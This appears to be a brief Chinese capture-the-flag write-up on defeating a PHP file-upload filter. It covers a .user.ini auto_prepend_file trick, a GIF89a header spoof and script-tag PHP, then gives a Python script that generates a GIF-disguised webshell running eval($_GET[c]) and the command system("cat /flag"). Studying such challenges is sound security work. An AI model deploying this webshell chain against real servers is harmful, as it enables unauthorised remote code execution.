- 对文件后缀的黑名单匹配
通过上传配置文件.user.ini绕过
.user.ini
auto_prepend_file:指定的文件能够在主文件执行前自动被解析。
auto_append_file:指定的文件的内容在主文件执行后自动被解析
如果php脚本使用了exit()中断退出,auto_append_file就不会被执行
于是可以通过上传.user.ini,然后再上传一个指定的文件,文件里面写了php脚本,从而实现php代码执行。
- 对文件类型的匹配
通过添加gif文件头GIF89a绕过 - 对<?的匹配
php7以前可以通过<script language=‘php’></script>和<%%>的方式执行php代码,本题是php5.6可行。 - 生成文件的py脚本
user_ini = b"""GIF89a
auto_prepend_file=evil.gif
"""
shell = b"""GIF89a
<script language='php'>echo 'insert!'; eval($_GET[c]);</script>
"""
with open('.user.ini',"wb") as file1:
file1.write(user_ini)
with open('evil.gif',"wb") as file2:
file2.write(shell)
print('done')
首先生成2个文件。上传后再访问上传路径下的index.php,此时evil.gif中的php代码会首先被解释执行,于是可以通过c执行命令
?c=system("cat /flag");
得到flag